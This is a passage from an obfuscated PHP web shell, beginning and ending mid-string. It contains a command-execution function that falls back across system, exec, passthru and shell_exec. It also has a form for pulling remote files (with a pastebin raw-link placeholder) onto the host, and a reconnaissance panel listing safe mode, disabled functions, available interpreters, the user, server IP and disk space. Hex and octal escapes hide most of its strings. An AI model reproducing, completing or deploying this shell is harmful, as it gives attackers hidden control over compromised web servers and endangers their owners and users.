20\143\x6c\141\163\163\75\x22\x6c\141\142\x65\154\x2d\163\x75\x63\x63\x65\163\x73\x22\x3e\74\x69\x20\143\x6c\x61\x73\x73\x3d\x22\172\155\x64\x69\40\x7a\155\144\151\55\143\150\x65\166\x72\157\156\55\162\151\147\150\x74\x20\x7a\155\144\151\55\150\143\55\146\167\42\x3e\74\57\151\x3e\74\57\163\160\141\156\x3e\40\106\x72\x6f\155\x20\111\156\164\x65\x72\x6e\x65\164\x20\x28\x49\155\160\157\x72\x74\51\x20\x3a\x20\x20\74\142\x75\164\x74\157\156\40\x63\x6c\x61\x73\163\x3d\x22\x6c\141\167\142\x20\x61\x64\x64\x5f\x32\42\x20\163\164\171\154\x65\75\42\167\151\144\x74\150\x3a\65\60\x70\x78\x3b\x66\154\x6f\141\164\x3a\162\151\x67\x68\x74\x22\76\101\144\144\x20\x3c\57\142\165\164\x74\x6f\156\x3e\74\x2f\144\151\x76\76\xa\40\40\x20\40\x3c\150\x72\76\xa\74\146\x6f\162\155\x20\141\143\164\151\x6f\156\x3d\42\77" . x7 . "\x75\x70\154\x6f\x61\144\x26" . x5 . $dir . "\x22\x20\x6d\145\x74\150\x6f\144\x3d\42\120\x4f\123\124\x22\76\xa\x9\x3c\x64\x69\x76\x20\x63\x6c\x61\163\x73\75\42\151\x6e\x70\165\x74\x5f\x32\42\x3e\12\40\40\x20\x20\40\40\40\x20\74\164\x61\142\154\x65\x20\x73\x74\x79\154\x65\x3d\x22\x77\x69\x64\164\150\x3a\61\x30\60\45\x22\x3e\xa\x20\x20\40\40\x20\40\x20\40\x20\40\40\40\74\164\x64\x20\143\154\141\x73\163\75\42\164\x75\x70\42\40\x73\164\x79\x6c\x65\x3d\x22\x77\151\144\164\150\72\62\60\45\x22\76\x4c\151\x6e\153\40\x3a\x3c\x2f\x74\x64\x3e\12\x20\x20\x20\40\40\40\x20\40\40\x20\40\40\x3c\x74\x64\x20\163\164\171\x6c\145\x3d\42\x77\x69\x64\x74\150\72\x38\x30\x25\42\76\x3c\151\156\160\x75\164\x20\164\x79\x70\145\75\x22\x74\x65\x78\164\x22\x20\x6e\141\x6d\x65\x3d\42\x75\162\x6c\x5b\135\x22\x20\x70\154\x61\143\x65\x68\157\x6c\144\145\162\75\x22\x68\164\164\160\163\72\57\x2f\x70\x61\163\164\x65\x62\x69\156\56\x63\157\155\x2f\162\141\x77\x2f\115\x34\x62\112\112\x74\x42\104\x22\x20\163\164\171\x6c\145\75\42\167\151\x64\x74\x68\72\x31\x30\x30\45\42\x3e\x3c\57\x74\144\76\12\40\40\x20\x20\40\40\40\40\74\x74\162\x3e\xa\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\x3c\x74\x64\40\143\154\141\x73\x73\75\42\164\x75\160\42\40\163\x74\171\x6c\145\x3d\42\167\x69\144\164\x68\x3a\62\60\45\42\76\x4e\x61\x6d\x65\40\72\x3c\57\164\x64\x3e\xa\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x3c\x74\144\40\x73\x74\x79\x6c\145\x3d\42\x77\x69\x64\x74\150\x3a\70\60\45\x22\x3e\74\151\x6e\x70\165\x74\40\x74\171\x70\145\x3d\x22\x74\x65\x78\164\x22\40\x6e\x61\x6d\x65\x3d\42\165\x6e\x61\155\x65\x5b\x5d\42\x20\163\164\171\x6c\145\75\x22\x77\151\x64\x74\x68\72\x31\60\x30\45\42\40\160\154\141\143\x65\150\x6f\154\144\x65\162\x3d\42\50\40\x4f\x70\x74\x69\157\x6e\141\154\x20\51\42\x3e\x3c\57\164\x64\x3e\xa\40\x20\40\40\x20\x3c\x2f\x74\141\x62\x6c\145\x3e\xa\74\x2f\x64\x69\166\76\xa\40\40\x20\40\x20\74\x74\141\x62\x6c\x65\x3e\12\40\40\x20\x20\40\40\40\40\40\40\x20\40\x3c\x74\144\x20\163\164\171\154\x65\x3d\x22\167\151\144\x74\150\x3a\x32\60\x25\x22\76\x3c\x2f\164\x64\76\xa\40\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\x3c\164\x64\40\x73\164\x79\x6c\145\75\x22\167\151\x64\x74\150\72\70\60\x25\x22\x3e\x3c\x69\156\160\x75\x74\40\x74\171\160\x65\x3d\42\x73\165\142\155\x69\164\x22\40\156\x61\x6d\x65\x3d\x22\163\165\142\x6d\151\x74\42\x20\x73\164\x79\154\145\x3d\x22\167\x69\x64\164\x68\x3a\x31\x30\x30\x70\x78\x22\x20\x76\x61\154\x75\x65\75\42\125\160\154\x6f\141\144\42\40\x63\x6c\141\163\x73\x3d\x22\x62\164\156\x2d\145\x78\145\42\x3e\x3c\57\x74\x64\x3e\xa\x20\40\x20\40\x20\x3c\57\x74\x61\x62\x6c\x65\x3e\12\40\40\40\x20\11\74\x2f\146\157\162\155\x3e\xa\11\74\x2f\144\151\x76\76\12\x3c\57\144\151\166\76"; break; case "\x73\171\163\x74\145\x6d": function exe($corey) { switch (true) { case function_exists("\163\x79\x73\x74\145\155"): @ob_start(); @system($corey); $corex = @ob_get_contents(); @ob_end_clean(); return $corex; break; case function_exists("\x65\x78\x65\143"): @exec($corey, $values); $corex = ''; foreach ($values as $value) { $corex .= $result; } return $corex; break; case function_exists("\160\141\163\163\x74\x68\162\x75"): @ob_start(); @passthru($corey); $corex = @ob_get_contents(); @ob_end_clean(); return $corex; break; case function_exists("\163\150\145\x6c\154\x5f\x65\x78\x65\143"): $corex = @shell_exec($corey); return $corex; } } function disk($dz) { switch (true) { case $dz >= 1073741824: return sprintf("\x25\61\x2e\x32\x66", $dz / 1073741824) . "\40\107\102"; break; case $dz >= 1048576: return sprintf("\45\61\x2e\x32\146", $dz / 1048576) . "\40\115\102"; break; case $dz >= 1024: return sprintf("\x25\x31\56\62\x66", $dz / 1024) . "\40\113\102"; break; default: return $dz . "\40\x42"; } } function fuck($b_ms, $c_ms, $d_ms) { if (strpos($b_ms, $c_ms) === FALSE) { return FALSE; } if (strpos($b_ms, $d_ms) === FALSE) { return FALSE; } $a_ms = strpos($b_ms, $c_ms) + strlen($c_ms); $e_ms = strpos($b_ms, $d_ms, $a_ms); $f_ms = substr($b_ms, $a_ms, $e_ms - $a_ms); return $f_ms; } switch (true) { case get_magic_quotes_gpc(): function nom($pom) { return is_array($pom) ? array_map("\156\157\155", $pom) : stripslashes($pom); } $_UNDERXPLOIT = nom($_UNDERXPLOIT); } $safemode = @ini_get(strtolower("\163\x61\x66\x65\137\155\157\144\145")) == "\157\x6e" ? "\74\x73\x70\x61\x6e\40\143\x6c\141\163\163\x3d\47\x6c\x61\x62\145\154\x20\x6c\141\x62\x65\x6c\55\x73\x75\x63\143\x65\x73\163\47\x3e\117\116\x3c\x2f\x73\160\141\156\x3e" : "\x3c\x73\x70\141\x6e\40\143\x6c\x61\163\x73\x3d\x27\154\x61\x62\x65\x6c\40\x6c\x61\x62\x65\154\55\x64\141\x6e\147\145\x72\47\76\x4f\106\x46\74\57\x73\x70\141\x6e\x3e"; $disablefunc = @ini_get("\x64\x69\x73\x61\142\x6c\145\137\x66\x75\156\143\x74\151\157\156\163"); $mysql = function_exists("\x6d\x79\163\x71\154\x5f\x63\x6f\x6e\156\145\143\x74") ? "\74\x73\160\x61\156\x20\143\x6c\x61\163\x73\x3d\x27\154\141\142\x65\154\x20\154\x61\x62\145\154\x2d\x73\165\x63\143\x65\163\x73\47\76\117\116\74\57\163\x70\x61\156\76" : "\74\163\160\x61\156\40\x63\x6c\141\x73\x73\75\47\154\141\142\x65\154\x20\154\141\x62\x65\x6c\x2d\x64\141\156\x67\x65\162\47\x3e\x4f\x46\x46\x3c\57\x73\x70\141\x6e\x3e"; $curl = function_exists("\143\165\162\154\x5f\x76\x65\x72\x73\151\x6f\x6e") ? "\x3c\163\160\x61\x6e\40\143\154\x61\163\163\75\x27\x6c\141\142\145\x6c\40\x6c\141\x62\x65\x6c\x2d\163\x75\x63\143\145\x73\163\x27\76\117\116\74\x2f\163\160\141\156\x3e" : "\x3c\163\x70\x61\x6e\x20\143\154\141\163\163\x3d\x27\x6c\141\142\x65\x6c\40\154\141\x62\145\x6c\x2d\144\x61\156\147\145\162\47\x3e\x4f\106\x46\74\57\146\157\156\x74\x3e"; $wget = exe("\x77\x67\145\164\x20\x2d\x2d\150\145\x6c\x70") ? "\74\163\160\x61\x6e\40\143\154\141\163\163\x3d\47\154\x61\142\145\x6c\x20\x6c\x61\142\x65\154\55\x73\x75\143\x63\145\163\x73\47\76\x4f\116\x3c\57\163\160\141\156\x3e" : "\74\163\160\141\156\40\143\x6c\141\163\163\x3d\x27\154\141\x62\145\x6c\x20\154\141\142\x65\x6c\55\144\141\156\x67\145\x72\x27\76\117\x46\106\x3c\x2f\x73\x70\x61\156\76"; $perl = exe("\x70\145\162\x6c\40\55\55\x68\x65\154\160") ? "\x3c\163\x70\141\x6e\x20\143\x6c\x61\x73\x73\75\x27\154\x61\142\145\154\x20\x6c\x61\x62\145\154\55\163\165\143\143\x65\163\163\47\x3e\117\x4e\74\57\163\160\141\156\76" : "\x3c\x73\160\x61\x6e\x20\x63\x6c\x61\163\x73\x3d\x27\154\141\142\x65\x6c\x20\x6c\x61\x62\x65\154\55\144\x61\156\147\145\162\47\76\117\x46\106\x3c\57\146\x6f\x6e\164\76"; $python = exe("\x70\171\x74\x68\157\x6e\x20\x2d\55\150\x65\154\160") ? "\74\x73\x70\x61\x6e\40\143\x6c\141\x73\163\75\47\154\x61\x62\145\154\x20\x6c\x61\142\145\x6c\55\163\x75\x63\x63\145\x73\163\x27\76\x4f\116\x3c\x2f\163\160\141\156\x3e" : "\74\163\160\141\x6e\40\x63\154\141\163\163\75\x27\154\141\142\x65\154\x20\x6c\141\x62\x65\154\55\x64\141\156\147\145\162\x27\76\x4f\x46\106\74\57\163\x70\141\x6e\76"; $disfunc = !empty($disablefunc) ? "\x3c\163\160\141\x6e\40\143\154\141\x73\163\x3d\x27\x6c\x61\x62\145\x6c\55\144\x61\x6e\x67\x65\162\x27\76" . $disablefunc . "\74\57\x73\x70\141\x6e\76" : "\x3c\163\160\x61\x6e\40\x63\x6c\141\163\x73\x3d\x27\154\141\142\145\154\55\x73\x75\x63\143\x65\x73\x73\47\x3e\116\117\x4e\x45\x3c\57\163\x70\x61\x6e\76"; switch (true) { case !function_exists("\x70\157\163\x69\170\x5f\x67\x65\164\x65\147\151\144"): $_cox = @get_current_user(); $_cid = @getmyuid(); $_ccr = @getmygid(); $_cum = "\77"; break; default: $_cid = @posix_getpwuid(posix_geteuid()); $_ccr = @posix_getgrgid(posix_getegid()); $_cox = $_cid["\x6e\141\x6d\145"]; $_cid = $_cid["\x75\151\144"]; $_cum = $_ccr["\156\141\x6d\x65"]; $_ccr = $_ccr["\x67\151\x64"]; } print "\74\144\x69\x76\40\x63\154\141\x73\163\75\42\143\157\114\x2d\160\141\156\145\154\x22\76\12\x20\x20\x20\74\164\141\142\x6c\x65\76\12\40\x20\40\40\x20\x20\x20\40\x3c\164\x64\40\x63\154\141\163\x73\x3d\x22\164\x64\55\x70\x61\x6e\x65\x6c\x22\76\xa\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x3c\143\145\x6e\164\x65\x72\76\xa\40\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\40\40\x3c\x64\151\166\x20\x63\154\x61\x73\163\x3d\42\x6c\157\x61\x64\x65\x72\42\76\x3c\57\x64\x69\166\x3e\12\40\40\40\x20\40\x20\x20\x20\40\x20\40\x20\74\57\143\145\x6e\x74\145\162\76\12\40\x20\x20\x20\x20\40\40\x20\x3c\57\x74\x64\x3e\xa\x20\x20\40\40\40\x20\x20\40\x3c\164\x64\40\x63\x6c\x61\163\163\x3d\x22\x74\144\x2d\x70\x61\156\145\x6c\55\162\151\x67\150\x74\42\76\123\x59\123\124\105\x4d\x20\111\x4e\x46\x4f\122\115\x41\x54\x49\117\116\x3c\x2f\x74\x64\76\xa\40\x20\x20\x20\74\x2f\164\141\142\x6c\x65\x3e\12\x3c\57\x64\151\x76\x3e"; print "\74\x64\151\x76\40\x69\144\x3d\x27\x70\x61\x6b\x73\x61\x27\x3e\x3c\x74\x61\x62\154\x65\x20\x77\151\144\x74\150\x3d\x31\60\60\45\40\x63\x6c\x61\x73\163\x3d\x27\x74\x61\142\154\x65\x2d\x69\156\x66\157\x27\40\x63\x65\154\154\x73\160\141\143\151\156\147\75\x30\76\12\40\40\40\40\74\x74\x68\x20\x63\154\141\x73\x73\x3d\164\x68\55\x69\156\146\x6f\40\163\x74\x79\x6c\x65\75\x77\151\144\164\x68\72\61\x32\x30\160\x78\76\12\40\x20\40\x20\40\x20\40\40\x3c\x63\145\156\x74\145\x72\76\103\157\155\160\157\x6e\145\156\x74\74\57\143\x65\x6e\x74\x65\x72\x3e\xa\x20\x20\40\x20\x3c\57\x74\150\76\12\40\40\x20\40\74\x74\x68\40\143\154\x61\163\x73\75\164\x68\55\x69\156\x66\157\76\xa\x20\x20\40\40\x20\40\40\40\74\x63\x65\x6e\164\x65\x72\76\101\x72\162\157\167\74\57\143\x65\x6e\164\x65\162\76\xa\40\40\40\40\74\57\x74\x68\76\xa\40\x20\40\x20\74\164\x68\x20\143\154\x61\x73\x73\x3d\x74\x68\55\x69\156\x66\x6f\40\x62\162\x65\141\153\76\xa\x20\x20\40\x20\x20\40\40\x20\74\x63\x65\156\164\x65\162\76\x52\145\163\x75\x6c\x74\74\57\143\145\156\164\145\162\x3e\12\x20\40\x20\x20\74\x2f\164\150\76\xa\x3c\57\x74\162\x3e\xa\x9\xa\74\x74\162\40\x63\154\141\x73\x73\x3d\47\x65\x78\55\x68\x6f\x76\x27\x3e\xa\x20\x20\x20\x20\x3c\164\144\40\x63\154\x61\x73\163\75\x27\164\x64\55\x69\x6e\x66\157\47\40\163\x74\171\154\145\75\47\x77\x69\144\164\x68\x3a\x31\x33\x30\x70\x78\x27\x3e\74\163\160\141\156\40\143\154\x61\x73\x73\75\47\154\x61\142\145\x6c\40\154\x61\142\x65\154\55\163\x75\143\143\145\163\x73\47\x3e\x3c\151\x20\143\154\x61\x73\x73\x3d\47\172\x6d\x64\x69\40\172\x6d\x64\x69\x2d\x70\x6c\x75\x73\40\x7a\x6d\x64\x69\55\150\x63\x2d\146\167\47\x3e\74\x2f\151\76\x3c\x2f\x73\160\141\x6e\x3e\40\40\x53\145\x72\x76\x65\x72\x20\x3c\57\164\144\x3e\12\x20\x20\x20\x20\x3c\164\x64\40\x63\x6c\141\x73\163\75\x27\x74\144\x2d\x69\156\146\x6f\x27\x20\x61\x6c\151\x67\x6e\75\x27\x63\x65\156\164\x65\162\47\76\x3c\151\x20\143\154\141\163\x73\x3d\47\172\155\x64\x69\x20\x7a\x6d\x64\151\55\143\x68\145\x76\162\157\x6e\x2d\162\x69\147\150\x74\40\x7a\x6d\x64\151\55\150\143\x2d\146\167\x27\x3e\74\57\151\x3e\74\57\164\x64\76\xa\x20\x20\40\x20\x3c\x74\144\x20\143\154\x61\163\x73\75\47\164\144\55\x69\x6e\x66\x6f\47\x3e\40" . $_SERVER["\123\x45\x52\x56\105\x52\x5f\123\117\106\x54\x57\101\122\105"] . "\74\57\164\x64\76\xa\x3c\57\x74\x72\x3e\xa\xa\x3c\164\162\40\x63\154\x61\x73\163\75\47\145\x78\x2d\x68\157\x76\47\x3e\12\x20\x20\x20\x20\74\164\x64\x20\x63\x6c\141\163\x73\75\47\164\144\x2d\x69\x6e\146\157\x27\x3e\74\x73\x70\141\x6e\x20\x63\x6c\141\x73\x73\x3d\x27\154\141\142\145\154\x20\x6c\141\x62\145\154\55\163\x75\x63\x63\145\x73\163\47\x3e\74\x69\40\x63\x6c\141\163\163\x3d\47\172\155\x64\x69\x20\172\155\144\x69\55\160\154\165\x73\x20\172\155\x64\151\55\x68\143\x2d\x66\x77\x27\x3e\74\57\x69\x3e\74\x2f\x73\x70\x61\156\76\x20\40\125\x73\145\162\x6e\x61\155\x65\12\x20\40\40\x20\74\57\164\144\76\xa\40\40\x20\40\x3c\164\144\x20\x63\x6c\141\163\x73\75\47\x74\x64\55\151\x6e\x66\x6f\47\x20\141\154\151\147\x6e\x3d\x27\143\145\x6e\x74\145\x72\x27\x3e\74\x69\x20\x63\x6c\141\x73\163\x3d\x27\172\155\x64\x69\x20\172\x6d\x64\151\55\143\150\145\x76\x72\157\x6e\55\162\x69\x67\150\164\40\x7a\x6d\144\x69\x2d\150\x63\x2d\x66\167\47\x3e\x3c\x2f\151\76\74\x2f\x74\144\x3e\xa\40\40\40\40\x3c\164\144\40\143\154\x61\163\163\75\x27\x74\144\x2d\151\156\146\157\47\x3e\x20" . $_cox . "\x20\133" . $_cid . "\x5d\74\57\x74\144\x3e\12\x3c\57\x74\162\76\12\xa\74\x74\162\40\x63\154\x61\x73\163\x3d\47\145\170\55\150\x6f\x76\47\76\xa\40\40\x20\x20\74\x74\144\40\x63\x6c\141\x73\163\75\x27\164\x64\55\x69\156\x66\x6f\x27\76\x3c\163\160\141\x6e\40\x63\x6c\141\163\x73\x3d\x27\x6c\x61\142\x65\x6c\x20\x6c\x61\x62\145\154\55\163\165\143\143\145\x73\x73\x27\76\x3c\x69\x20\x63\154\x61\163\x73\75\x27\172\x6d\144\x69\x20\x7a\x6d\144\151\x2d\160\154\165\163\40\172\155\144\151\55\150\143\x2d\x66\167\x27\x3e\x3c\x2f\151\76\x3c\x2f\x73\x70\x61\x6e\x3e\40\40\x47\x72\x6f\x75\x70\12\40\x20\40\40\74\x2f\x74\x64\x3e\12\x20\x20\40\x20\74\164\x64\40\x63\154\x61\x73\x73\x3d\x27\x74\x64\55\151\x6e\x66\x6f\x27\x20\x61\154\151\x67\156\x3d\47\x63\x65\156\x74\145\162\x27\76\x3c\x69\40\x63\154\141\163\163\x3d\47\172\x6d\144\x69\40\x7a\x6d\x64\x69\x2d\143\x68\145\166\x72\x6f\x6e\x2d\162\151\147\x68\164\x20\x7a\x6d\144\151\x2d\x68\143\55\146\167\x27\x3e\x3c\x2f\151\x3e\74\57\x74\144\76\12\x20\40\x20\40\x3c\x74\144\40\x63\154\141\x73\x73\x3d\47\x74\144\x2d\151\156\146\x6f\x27\76" . $_cum . "\x20\x5b" . $_ccr . "\x5d\x3c\57\164\x64\76\xa\74\x2f\164\x72\76\xa\xa\x3c\164\x72\x20\143\154\x61\163\x73\75\x27\145\170\x2d\x68\157\x76\47\76\xa\x20\40\x20\40\x3c\x74\144\x20\143\154\141\163\x73\x3d\x27\164\144\x2d\151\156\x66\157\x27\x3e\x3c\163\160\141\156\40\x63\x6c\141\x73\x73\75\x27\x6c\141\142\145\154\40\x6c\x61\142\x65\154\x2d\163\x75\x63\x63\145\163\x73\x27\76\74\151\x20\143\x6c\x61\x73\163\75\47\172\x6d\144\x69\40\x7a\155\x64\151\55\160\x6c\165\x73\x20\x7a\x6d\x64\x69\55\150\x63\55\146\x77\x27\76\x3c\57\x69\x3e\74\x2f\163\x70\x61\x6e\76\x20\x20\x53\x65\x72\x76\x65\162\x20\111\x50\40\74\x2f\164\144\76\xa\x20\40\40\40\x3c\x74\144\40\x63\154\x61\163\x73\75\x27\164\x64\55\x69\156\x66\x6f\x27\40\141\x6c\x69\147\x6e\x3d\x27\x63\x65\156\x74\x65\x72\47\x3e\74\151\x20\143\154\x61\x73\x73\x3d\x27\172\155\144\x69\x20\172\155\x64\x69\x2d\x63\x68\145\166\162\157\x6e\55\162\x69\147\x68\x74\40\x7a\x6d\144\x69\x2d\x68\x63\55\x66\x77\x27\x3e\x3c\x2f\151\76\x3c\x2f\x74\x64\x3e\12\x20\x20\x20\40\74\x74\x64\x20\x63\154\141\x73\163\75\47\164\x64\x2d\x69\x6e\x66\x6f\47\x3e" . gethostbyname($_SERVER["\110\124\x54\120\137\110\117\x53\x54"]) . "\x3c\57\x74\x64\x3e\12\x3c\x2f\164\162\76\xa\xa\74\164\162\40\143\154\141\163\163\75\47\x65\170\x2d\150\157\166\x27\x3e\12\x20\x20\40\x20\74\164\x64\40\143\154\x61\x73\163\75\x27\164\x64\55\151\156\146\157\47\x3e\74\x73\160\x61\156\x20\143\154\x61\x73\x73\75\47\x6c\x61\142\145\154\40\x6c\141\x62\x65\x6c\x2d\163\165\x63\x63\x65\x73\x73\47\76\x3c\151\40\x63\x6c\x61\x73\163\75\47\x7a\155\144\x69\40\x7a\x6d\x64\x69\x2d\x70\154\165\x73\40\x7a\155\x64\x69\55\150\143\55\146\x77\x27\x3e\x3c\x2f\x69\x3e\74\57\163\160\x61\x6e\x3e\40\x20\x59\157\x75\x72\40\x49\x50\40\74\57\164\144\x3e\12\40\x20\40\40\x3c\x74\144\40\143\154\141\x73\x73\x3d\x27\164\144\x2d\x69\156\146\157\x27\x20\x61\154\151\x67\x6e\75\x27\x63\145\x6e\164\x65\162\47\76\74\x69\x20\143\154\x61\x73\x73\75\47\x7a\155\144\x69\40\x7a\155\x64\x69\x2d\143\150\145\166\x72\157\156\x2d\x72\151\x67\150\x74\40\x7a\155\x64\151\x2d\150\x63\55\x66\x77\47\x3e\74\x2f\x69\76\74\57\164\144\76\xa\x20\x20\x20\x20\74\164\144\40\143\154\141\x73\x73\75\x27\x74\x64\55\x69\156\x66\x6f\x27\76\x20" . $_SERVER["\x52\105\x4d\117\x54\x45\x5f\x41\104\x44\x52"] . "\74\57\x74\x64\76\12\x3c\57\164\162\x3e\x20\12\xa\x3c\x74\x72\x20\x63\x6c\x61\x73\163\x3d\x27\x65\x78\x2d\x68\157\x76\47\x3e\12\40\x20\x20\x20\x3c\164\144\40\x63\154\141\163\x73\x3d\47\164\144\55\151\156\146\x6f\x27\x3e\x3c\163\160\141\x6e\40\x63\x6c\x61\x73\x73\75\47\154\x61\x62\x65\154\40\154\x61\142\x65\154\55\163\165\x63\x63\145\163\163\x27\x3e\x3c\151\x20\x63\x6c\141\163\163\x3d\x27\172\x6d\x64\x69\40\x7a\x6d\144\x69\55\x70\x6c\165\163\40\172\155\x64\x69\55\150\x63\55\x66\167\x27\x3e\x3c\57\x69\76\74\x2f\x73\160\x61\156\x3e\40\x20\x50\x48\x50\40\126\x65\x72\x73\x69\157\156\x3c\57\x74\x64\76\12\40\40\x20\x20\74\x74\144\x20\x63\154\x61\x73\163\75\x27\164\x64\x2d\151\x6e\146\x6f\47\x20\x61\x6c\151\147\156\x3d\x27\143\x65\x6e\164\145\x72\x27\x3e\74\x69\40\143\154\141\x73\x73\75\47\172\155\x64\151\x20\x7a\x6d\144\151\55\x63\x68\x65\166\162\x6f\x6e\55\162\x69\x67\150\164\40\172\x6d\x64\151\55\150\143\x2d\x66\167\x27\x3e\74\x2f\x69\x3e\x3c\x2f\x74\144\76\12\x20\x20\x20\40\74\164\x64\x20\x63\x6c\x61\x73\163\x3d\47\x74\x64\55\151\156\146\x6f\x27\76\x20" . @phpversion() . "\74\x2f\x74\x64\x3e\12\x3c\57\x74\162\76\12\12\x3c\x74\162\x20\x63\154\x61\x73\x73\75\x27\145\x78\x2d\x68\157\166\47\76\12\40\40\x20\x20\x3c\x74\144\x20\143\154\141\x73\x73\x3d\x27\164\x64\55\x69\x6e\146\157\47\76\74\163\x70\141\x6e\40\x63\154\x61\x73\163\75\47\154\x61\x62\145\x6c\x20\x6c\141\x62\x65\x6c\x2d\163\165\143\143\x65\163\x73\x27\76\74\x69\40\143\x6c\x61\x73\163\75\x27\172\x6d\x64\151\40\172\155\144\x69\55\160\154\x75\x73\40\x7a\155\x64\151\55\x68\x63\x2d\146\x77\47\x3e\74\57\151\x3e\74\57\163\160\x61\x6e\x3e\x20\x20\104\151\x73\153\40\x53\160\141\x63\x65\x3c\57\x74\x64\x3e\xa\x20\x20\x20\40\74\x74\x64\40\x63\x6c\x61\163\x73\75\x27\x74\144\55\x69\156\x66\x6f\47\x20\141\x6c\151\147\156\75\47\143\145\156\164\145\x72\47\76\74\x69\40\x63\154\141\163\163\x3d\47\172\155\144\x69\40\172\155\x64\x69\x2d\143\x68\x65\166\x72\x6f\x6e\55\162\151\147\x68\x74\40\x7a\x6d\144\151\55\x68\x63\55\x66\x77\47\76\x3c\57\x69\76\74\57\x74\144\76\12\x20\40\40\x20\x3c\164\144\x20\x63\x6c\141\163\163\75\47\x74\144\55\151\156\146\157\x27\x3e\133" . disk(disk_free_space(getcwd())) . "\135\40\57\40\133" . disk(disk_total_space(getcwd())) . "\x5d\x3c\57\164\144\x3e\xa\x3c\x2f\164\x72\x3e\12\xa\74\x74\x72\40\x63\x6c\x61\x73\163\x3d\x27\x65\x78\x2d\x68\157\x76\47\76\12\x20\x20\40\x20\x3c\x74\144\x20\x63\154\141\x73\x73\x3d\x27\164\x64\x2d\x69\x6e\x66\x6f\x27\x3e\x3c\163\x70\x61\x6e\40\143\x6c\141\x73\x73\75\47\154\x61\142\145\154\40\x6c\141\x62\145\x6c\55\x73\165\x63\x63\145\x73\163\x27\76\74\151\x20\x63\x6c\x61\163\163\75\x27\172\155\144\151\40\x7a\x6d\144\151\x2d\160\x6c\165\163\x20\x7a\155\144\151\55\150\143\x2d\x66\x77\x27\x3e\74\57\x69\76\x3c\57\163\160\141\156\x3e\40\x20\123\x61\146\145\40\x4d\157\144\145\74\x2f\164\144\x3e\12\40\40\x20\40\x3c\164\144\40\143\x6c\x61\163\x73\x3d\x27\164\144\55\151\156\x66\x6f\47\x20\x61\x6c\151\147\156\x3d\47\143\145\x6e\x74\x65\162\x27\x3e\x3c\151\40\x63\x6c\x61\x73\x73\x3d\x27\172\155\x64\x69\x20\172\x6d\x64\x69\55\x63\x68\145\166\x72\x6f\x6e\55\x72\151\147\x68\x74\40\x7a\x6d\x64\151\55\x68\x63\x2d\146\x77\x27\x3e\74\57\151\76\x3c\x2f\x74\144\x3e\12\40\40\40\x20\74\x74\x64\40\x63\154\x61\x73\x73\75\x27\x74\x64\55\x69\x6e\x66\x6f\47\x3e\x20{$safemode}\x3c\x2f\164\x64\x3e\12\74\57\x74\162\x3e\xa\12\74\x74\162\40\x63\x6c\x61\x73\163\75\x27\145\x78\x2d\x68\157\x76\x27\76\12\40\x20\40\x20\74\x74\x64\x20\143\154\x61\x73\163\x3d\x27\x74\x64\x2d\x69\156\146\157\47\76\x3c\163\160\x61\156\40\x63\154\141\x73\x73\75\47\x6c\141\x62\145\154\x20\x6c\141\142\x65\x6c\55\163\x75\x63\143\x65\163\x73\x27\76\x3c\151\x20\143\x6c\141\x73\163\75\47\x7a\x6d\144\x69\x20\172\x6d\144\151\x2d\x70\154\x75\163\40\172\x6d\144\151\55\x68\x63\x2d\146\167\47\x3e\x3c\57\x69\76\74\57\x73\160\141\156\76\x20\40\115\171\123\x51\114\74\57\164\144\76\xa\40\x20\40\x20\74\x74\x64\x20\143\154\141\163\163\x3d\47\164\144\x2d\x69\156\146\157\47\x20\x61\154\x69\147\156\75\x27\x63\145\x6e\164\x65\162\47\x3e\x3c\151\x20\143\154\141\163\163\75\47\x7a\x6d\x64\151\x20\172\155\144\x69\55\x63\x68\145\x76\x72\157\x6e\55\162\151\x67\150\164\40\x7a\x6d\x64\151\55\x68\x63\55\146\x77\x27\76\74\x2f\x69\76\x3c\x2f\164\144\x3e\12\40\x20\40\x20\74\x74\144\40\143\154\x61\163\x73\75\x27\164\x64\x2d\151\x6e\x66\157\x27\76{$mysql}\74\57\164\144\x3e\xa\x3c\57\164\162\76\12\xa\x3c\164\x72\x20\x63\x6c\x61\x73\163\x3d\47\x65\x78\x2d\150\157\x76\x27\x3e\xa\40\x20\40\x20\x3c\164\x64\x20\143\154\x61\x73\163\x3d\47\164\144\x2d\x69\x6e\x66\157\47\76\74\163\x70\x61\x6e\x20\143\154\x61\x73\163\x3d\x27\x6c\x61\x62\x65\x6c\x20\x6c\x61\142\145\x6c\55\163\165\x63\x63\145\163\x73\x27\76\x3c\x69\40\143\x6c\141\163\x73\75\47\x7a\155\x64\151\40\172\x6d\x64\x69\x2d\160\x6c\x75\x73\40\x7a\x6d\x64\x69\x2d\x68\143\55\146\x77\x27\x3e\74\x2f\x69\76\74\x2f\x73\x70\141\x6e\x3e\40\40\x50\145\x72\x6c\12\40\x20\40\40\74\x2f\x74\144\76\12\40\x20\40\40\74\x74\144\40\x63\x6c\141\x73\163\x3d\x27\164\144\x2d\151\x6e\x66\157\47\x20\141\154\151\x67\x6e\75\47\x63\145\x6e\164\145\162\47\x3e\x3c\x69\x20\143\154\141\163\163\x3d\47\x7a\155\144\151\40\x7a\x6d\144\x69\x2d\x63\x68\x65\166\x72\x6f\156\x2d\x72\x69\147\x68\164\x20\172\x6d\144\x69\x2d\x68\x63\55\146\167\x27\76\x3c\57\151\76\74\57\164\144\x3e\12\x20\x20\x20\40\x3c\x74\x64\x20\143\154\x61\x73\163\x3d\x27\164\144\x2d\151\x6e\x66\157\x27\x3e\x20{$perl}\40\x3c\x2f\x74\144\76\12\74\57\x74\x72\76\12\12\x3c\x74\162\x20\x63\x6c\x61\163\163\75\x27\145\x78\x2d\x68\157\166\47\76\xa\x20\x20\x20\x20\x3c\164\x64\x20\x63\154\x61\x73\163\x3d\47\164\x64\55\x69\x6e\146\157\x27\76\74\163\160\x61\x6e\x20\143\154\141\163\163\x3d\x27\154\x61\142\145\x6c\x20\x6c\141\x62\x65\154\55\163\x75\143\143\x65\x73\163\x27\x3e\x3c\x69\40\143\x6c\141\x73\x73\x3d\47\172\x6d\x64\x69\40\x7a\x6d\144\151\55\x70\154\x75\163\40\x7a\155\144\x69\x2d\150\x63\55\146\167\47\76\74\57\151\76\x3c\x2f\x73\x70\141\156\76\40\40\120\x79\164\150\157\x6e\74\x2f\x74\144\x3e\xa\x20\x20\x20\x20\74\x74\x64\x20\x63\x6c\141\163\163\x3d\47\164\144\x2d\x69\156\x66\x6f\x27\40\x61\154\x69\147\x6e\x3d\x27\